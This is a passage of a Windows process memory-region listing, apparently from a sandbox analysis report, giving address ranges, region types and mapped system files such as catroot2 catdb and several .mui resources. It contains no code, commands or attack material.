	        start_va = 0xadbc3e0000
	          end_va = 0xadbc3e6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbc3e0000"
	        filename = ""

Region:
	              id = 2279
	        start_va = 0xadbc3f0000
	          end_va = 0xadbc3f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbc3f0000"
	        filename = ""

Region:
	              id = 2280
	        start_va = 0xadbc400000
	          end_va = 0xadbc4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbc400000"
	        filename = ""

Region:
	              id = 2281
	        start_va = 0xadbc500000
	          end_va = 0xadbc687fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbc500000"
	        filename = ""

Region:
	              id = 2282
	        start_va = 0xadbc690000
	          end_va = 0xadbc810fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbc690000"
	        filename = ""

Region:
	              id = 2283
	        start_va = 0xadbc820000
	          end_va = 0xadbc91ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbc820000"
	        filename = ""

Region:
	              id = 2284
	        start_va = 0xadbc920000
	          end_va = 0xadbca1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbc920000"
	        filename = ""

Region:
	              id = 2285
	        start_va = 0xadbca20000
	          end_va = 0xadbcb1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbca20000"
	        filename = ""

Region:
	              id = 2286
	        start_va = 0xadbcb20000
	          end_va = 0xadbcb24fff
	     entry_point = 0xadbcb20000
	     region_type = mapped_file
	            name = "winnlsres.dll"
	        filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll")

Region:
	              id = 2287
	        start_va = 0xadbcb30000
	          end_va = 0xadbcb3ffff
	     entry_point = 0xadbcb30000
	     region_type = mapped_file
	            name = "winnlsres.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui")

Region:
	              id = 2288
	        start_va = 0xadbcb40000
	          end_va = 0xadbcb42fff
	     entry_point = 0xadbcb40000
	     region_type = mapped_file
	            name = "mswsock.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui")

Region:
	              id = 2289
	        start_va = 0xadbcb50000
	          end_va = 0xadbcb50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbcb50000"
	        filename = ""

Region:
	              id = 2290
	        start_va = 0xadbcb60000
	          end_va = 0xadbcb60fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbcb60000"
	        filename = ""

Region:
	              id = 2291
	        start_va = 0xadbcb70000
	          end_va = 0xadbcb70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbcb70000"
	        filename = ""

Region:
	              id = 2292
	        start_va = 0xadbcb80000
	          end_va = 0xadbcb80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbcb80000"
	        filename = ""

Region:
	              id = 2293
	        start_va = 0xadbcb90000
	          end_va = 0xadbcb96fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbcb90000"
	        filename = ""

Region:
	              id = 2294
	        start_va = 0xadbcba0000
	          end_va = 0xadbcbaffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbcba0000"
	        filename = ""

Region:
	              id = 2295
	        start_va = 0xadbcbb0000
	          end_va = 0xadbcbbffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbcbb0000"
	        filename = ""

Region:
	              id = 2296
	        start_va = 0xadbcbc0000
	          end_va = 0xadbcbcffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbcbc0000"
	        filename = ""

Region:
	              id = 2297
	        start_va = 0xadbcbd0000
	          end_va = 0xadbcbdffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbcbd0000"
	        filename = ""

Region:
	              id = 2298
	        start_va = 0xadbcbe0000
	          end_va = 0xadbcbeffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbcbe0000"
	        filename = ""

Region:
	              id = 2299
	        start_va = 0xadbcbf0000
	          end_va = 0xadbcbfffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbcbf0000"
	        filename = ""

Region:
	              id = 2300
	        start_va = 0xadbcc00000
	          end_va = 0xadbcc00fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbcc00000"
	        filename = ""

Region:
	              id = 2301
	        start_va = 0xadbcc10000
	          end_va = 0xadbcc13fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbcc10000"
	        filename = ""

Region:
	              id = 2302
	        start_va = 0xadbcc20000
	          end_va = 0xadbcd1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbcc20000"
	        filename = ""

Region:
	              id = 2303
	        start_va = 0xadbcd20000
	          end_va = 0xadbce1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbcd20000"
	        filename = ""

Region:
	              id = 2304
	        start_va = 0xadbce20000
	          end_va = 0xadbcf1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbce20000"
	        filename = ""

Region:
	              id = 2305
	        start_va = 0xadbcf20000
	          end_va = 0xadbd01ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbcf20000"
	        filename = ""

Region:
	              id = 2306
	        start_va = 0xadbd020000
	          end_va = 0xadbd11ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd020000"
	        filename = ""

Region:
	              id = 2307
	        start_va = 0xadbd120000
	          end_va = 0xadbd121fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd120000"
	        filename = ""

Region:
	              id = 2308
	        start_va = 0xadbd130000
	          end_va = 0xadbd130fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd130000"
	        filename = ""

Region:
	              id = 2309
	        start_va = 0xadbd140000
	          end_va = 0xadbd146fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd140000"
	        filename = ""

Region:
	              id = 2310
	        start_va = 0xadbd150000
	          end_va = 0xadbd15ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbd150000"
	        filename = ""

Region:
	              id = 2311
	        start_va = 0xadbd160000
	          end_va = 0xadbd16ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbd160000"
	        filename = ""

Region:
	              id = 2312
	        start_va = 0xadbd170000
	          end_va = 0xadbd17ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbd170000"
	        filename = ""

Region:
	              id = 2313
	        start_va = 0xadbd180000
	          end_va = 0xadbd18ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbd180000"
	        filename = ""

Region:
	              id = 2314
	        start_va = 0xadbd190000
	          end_va = 0xadbd19ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbd190000"
	        filename = ""

Region:
	              id = 2315
	        start_va = 0xadbd1a0000
	          end_va = 0xadbd1affff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbd1a0000"
	        filename = ""

Region:
	              id = 2316
	        start_va = 0xadbd1b0000
	          end_va = 0xadbd1b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd1b0000"
	        filename = ""

Region:
	              id = 2317
	        start_va = 0xadbd1c0000
	          end_va = 0xadbd1cffff
	     entry_point = 0xadbd1c0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2318
	        start_va = 0xadbd1d0000
	          end_va = 0xadbd1dffff
	     entry_point = 0xadbd1d0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2319
	        start_va = 0xadbd1e0000
	          end_va = 0xadbd1effff
	     entry_point = 0xadbd1e0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2320
	        start_va = 0xadbd1f0000
	          end_va = 0xadbd1fffff
	     entry_point = 0xadbd1f0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2321
	        start_va = 0xadbd200000
	          end_va = 0xadbd20ffff
	     entry_point = 0xadbd200000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2322
	        start_va = 0xadbd210000
	          end_va = 0xadbd21ffff
	     entry_point = 0xadbd210000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2323
	        start_va = 0xadbd220000
	          end_va = 0xadbd31ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd220000"
	        filename = ""

Region:
	              id = 2324
	        start_va = 0xadbd320000
	          end_va = 0xadbd656fff
	     entry_point = 0xadbd320000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2325
	        start_va = 0xadbd660000
	          end_va = 0xadbd66ffff
	     entry_point = 0xadbd660000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2326
	        start_va = 0xadbd670000
	          end_va = 0xadbd67ffff
	     entry_point = 0xadbd670000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2327
	        start_va = 0xadbd680000
	          end_va = 0xadbd68ffff
	     entry_point = 0xadbd680000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2328
	        start_va = 0xadbd6b0000
	          end_va = 0xadbd6c1fff
	     entry_point = 0xadbd6b0000
	     region_type = mapped_file
	            name = "dnsapi.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\dnsapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dnsapi.dll.mui")

Region:
	              id = 2329
	        start_va = 0xadbd6d0000
	          end_va = 0xadbd6d9fff
	     entry_point = 0xadbd6d0000
	     region_type = mapped_file
	            name = "crypt32.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui")

Region:
	              id = 2330
	        start_va = 0xadbd760000
	          end_va = 0xadbd7dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd760000"
	        filename = ""

Region:
	              id = 2331
	        start_va = 0xadbd7e0000
	          end_va = 0xadbd7effff
	     entry_point = 0xadbd7e0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2332
	        start_va = 0xadbd7f0000
	          end_va = 0xadbd7fffff
	     entry_point = 0xadbd7f0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2333
	        start_va = 0xadbd800000
	          end_va = 0xadbd80ffff
	     entry_point = 0xadbd800000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2334
	        start_va = 0xadbd810000
	          end_va = 0xadbd81ffff
	     entry_point = 0xadbd810000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2335
	        start_va = 0xadbd820000
	          end_va = 0xadbd82ffff
	     entry_point = 0xadbd820000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2336
	        start_va = 0xadbd830000
	          end_va = 0xadbd83ffff
	     entry_point = 0xadbd830000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2337
	        start_va = 0xadbd840000
	          end_va = 0xadbd84ffff
	     entry_point = 0xadbd840000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2338
	        start_va = 0xadbd850000
	          end_va = 0xadbd85ffff
	     entry_point = 0xadbd850000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2339
	        start_va = 0xadbd860000
	          end_va = 0xadbd95ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd860000"
	        filename = ""

Region:
	              id = 2340
	        start_va = 0xadbd960000
	          end_va = 0xadbd968fff
	     entry_point = 0xadbd960000
	     region_type = mapped_file
	            name = "vsstrace.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui")

Region:
	              id = 2341
	        start_va = 0xadbd970000
	          end_va = 0xadbd970fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd970000"
	        filename = ""

Region:
	              id = 2342
	        start_va = 0xadbd980000
	          end_va = 0xadbd98ffff
	     entry_point = 0xadbd980000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2343
	        start_va = 0xadbd990000
	          end_va = 0xadbd99ffff
	     entry_point = 0xadbd990000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2344
	        start_va = 0xadbd9a0000
	          end_va = 0xadbd9a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd9a0000"
	        filename = ""

Region:
	              id = 2345
	        start_va = 0xadbd9b0000
	          end_va = 0xadbd9b6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd9b0000"
	        filename = ""

Region:
	              id = 2346
	        start_va = 0xadbd9c0000
	          end_va = 0xadbdabffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbd9c0000"
	        filename = ""

Region:
	              id = 2347
	        start_va = 0xadbdac0000
	          end_va = 0xadbdacffff
	     entry_point = 0xadbdac0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2348
	        start_va = 0xadbdad0000
	          end_va = 0xadbdadffff
	     entry_point = 0xadbdad0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2349
	        start_va = 0xadbdae0000
	          end_va = 0xadbdaeffff
	     entry_point = 0xadbdae0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")

Region:
	              id = 2350
	        start_va = 0xadbdaf0000
	          end_va = 0xadbdaf0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbdaf0000"
	        filename = ""

Region:
	              id = 2351
	        start_va = 0xadbdb00000
	          end_va = 0xadbdbfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbdb00000"
	        filename = ""

Region:
	              id = 2352
	        start_va = 0xadbdc00000
	          end_va = 0xadbdcfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbdc00000"
	        filename = ""

Region:
	              id = 2353
	        start_va = 0xadbdd00000
	          end_va = 0xadbddc1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbdd00000"
	        filename = ""

Region:
	              id = 2354
	        start_va = 0xadbddd0000
	          end_va = 0xadbde4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbddd0000"
	        filename = ""

Region:
	              id = 2355
	        start_va = 0xadbde50000
	          end_va = 0xadbde5ffff
	     entry_point = 0xadbde50000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2356
	        start_va = 0xadbde60000
	          end_va = 0xadbde6ffff
	     entry_point = 0xadbde60000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2357
	        start_va = 0xadbde70000
	          end_va = 0xadbde7ffff
	     entry_point = 0xadbde70000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2358
	        start_va = 0xadbde80000
	          end_va = 0xadbde8ffff
	     entry_point = 0xadbde80000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2359
	        start_va = 0xadbde90000
	          end_va = 0xadbde96fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbde90000"
	        filename = ""

Region:
	              id = 2360
	        start_va = 0xadbdea0000
	          end_va = 0xadbdeaffff
	     entry_point = 0xadbdea0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2361
	        start_va = 0xadbdeb0000
	          end_va = 0xadbdebffff
	     entry_point = 0xadbdeb0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2362
	        start_va = 0xadbdec0000
	          end_va = 0xadbdecffff
	     entry_point = 0xadbdec0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2363
	        start_va = 0xadbded0000
	          end_va = 0xadbdedffff
	     entry_point = 0xadbded0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2364
	        start_va = 0xadbdee0000
	          end_va = 0xadbdeeffff
	     entry_point = 0xadbdee0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2365
	        start_va = 0xadbdef0000
	          end_va = 0xadbdefffff
	     entry_point = 0xadbdef0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2366
	        start_va = 0xadbdf00000
	          end_va = 0xadbdffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbdf00000"
	        filename = ""

Region:
	              id = 2367
	        start_va = 0xadbe000000
	          end_va = 0xadbe0fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbe000000"
	        filename = ""

Region:
	              id = 2368
	        start_va = 0xadbe100000
	          end_va = 0xadbe1fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbe100000"
	        filename = ""

Region:
	              id = 2369
	        start_va = 0xadbe200000
	          end_va = 0xadbe2fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbe200000"
	        filename = ""

Region:
	              id = 2370
	        start_va = 0xadbe300000
	          end_va = 0xadbe3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbe300000"
	        filename = ""

Region:
	              id = 2371
	        start_va = 0xadbe400000
	          end_va = 0xadbe4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbe400000"
	        filename = ""

Region:
	              id = 2372
	        start_va = 0xadbe500000
	          end_va = 0xadbe5fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbe500000"
	        filename = ""

Region:
	              id = 2373
	        start_va = 0xadbe600000
	          end_va = 0xadbe6fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbe600000"
	        filename = ""

Region:
	              id = 2374
	        start_va = 0xadbe700000
	          end_va = 0xadbe7fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbe700000"
	        filename = ""

Region:
	              id = 2375
	        start_va = 0xadbe800000
	          end_va = 0xadbe8fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbe800000"
	        filename = ""

Region:
	              id = 2376
	        start_va = 0xadbe900000
	          end_va = 0xadbe9fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbe900000"
	        filename = ""

Region:
	              id = 2377
	        start_va = 0xadbea00000
	          end_va = 0xadbeafffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbea00000"
	        filename = ""

Region:
	              id = 2378
	        start_va = 0xadbeb00000
	          end_va = 0xadbebfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbeb00000"
	        filename = ""

Region:
	              id = 2379
	        start_va = 0xadbec00000
	          end_va = 0xadbecfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbec00000"
	        filename = ""

Region:
	              id = 2380
	        start_va = 0xadbed00000
	          end_va = 0xadbedfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbed00000"
	        filename = ""

Region:
	              id = 2381
	        start_va = 0xadbee00000
	          end_va = 0xadbeefffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbee00000"
	        filename = ""

Region:
	              id = 2382
	        start_va = 0xadbef00000
	          end_va = 0xadbfefffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbef00000"
	        filename = ""

Region:
	              id = 2383
	        start_va = 0xadbff00000
	          end_va = 0xadc010ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbff00000"
	        filename = ""

Region:
	              id = 2384
	        start_va = 0xadc0110000
	          end_va = 0xadd010ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adc0110000"
	        filename = ""

Region:
	              id = 2385
	        start_va = 0xadd0110000
	          end_va = 0xade010ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000add0110000"
	        filename = ""

Region:
	              id = 2386
	        start_va = 0xade0110000
	          end_va = 0xadf010ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ade0110000"
	        filename = ""

Region:
	              id = 2387
	        start_va = 0xadf0110000
	          end_va = 0xadf011ffff
	     entry_point = 0xadf0110000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2388
	        start_va = 0xadf0120000
	          end_va = 0xadf012ffff
	     entry_point = 0xadf0120000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2389
	        start_va = 0xadf0130000
	          end_va = 0xadf013ffff
	     entry_point = 0xadf0130000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2390
	        start_va = 0xadf0140000
	          end_va = 0xadf014ffff
	     entry_point = 0xadf0140000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2391
	        start_va = 0xadf0150000
	          end_va = 0xadf015ffff
	     entry_point = 0xadf0150000
	     region_type = mapped_file
	            name = "catdb"
